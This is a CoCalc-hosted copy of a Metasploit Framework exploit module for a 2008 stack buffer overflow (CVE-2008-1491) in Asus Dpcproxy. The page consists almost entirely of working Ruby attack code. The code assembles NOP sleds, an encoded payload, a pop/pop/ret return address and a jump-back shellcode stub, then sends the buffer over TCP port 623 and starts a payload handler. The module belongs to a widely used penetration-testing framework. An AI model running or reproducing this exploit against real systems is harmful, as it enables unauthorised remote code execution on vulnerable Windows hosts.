CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Asus Dpcproxy Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in Asus Dpcroxy version 2.0.0.19.
16
It should be vulnerable until version 2.0.0.24.
17
Credit to Luigi Auriemma
18
},
19
'Author' => 'Jacopo Cervini',
20
'References' =>
21
[
22
[ 'CVE', '2008-1491' ],
23
[ 'OSVDB', '43638' ],
24
[ 'BID', '28394' ],
25
],
26
'DefaultOptions' =>
27
{
28
'EXITFUNC' => 'process',
29
},
30
'Payload' =>
31
{
32
'Space' => 400,
33
'BadChars' => "\x07\x08\x0d\x0e\x0f\x7e\x7f\xff",
34
},
35
'Platform' => 'win',
36
'Targets' =>
37
[
38
[ 'Asus Dpcroxy version 2.00.19 Universal', { 'Ret' => 0x0040273b } ], # p/p/r
39
],
40
'Privileged' => true,
41
'DefaultTarget' => 0,
42
'DisclosureDate' => '2008-03-21'))
43
44
register_options([Opt::RPORT(623)])
45
46
end
47
48
def exploit
49
connect
50
51
sploit = make_nops(0x38a - payload.encoded.length)+ payload.encoded + rand_text_english(6032)
52
sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2)
53
sploit << [target.ret].pack('V') + make_nops(8) + Metasm::Shellcode.assemble(Metasm::Ia32.new, "add bh,6 add bh,6 add bh,2 push ebx ret").encode_string #jmp back
54
sploit << make_nops(50)
55
56
print_status("Trying target #{target.name}...")
57
sock.put(sploit)
58
select(nil,nil,nil,3) # =(
59
60
handler
61
disconnect
62
end
63
end
64
65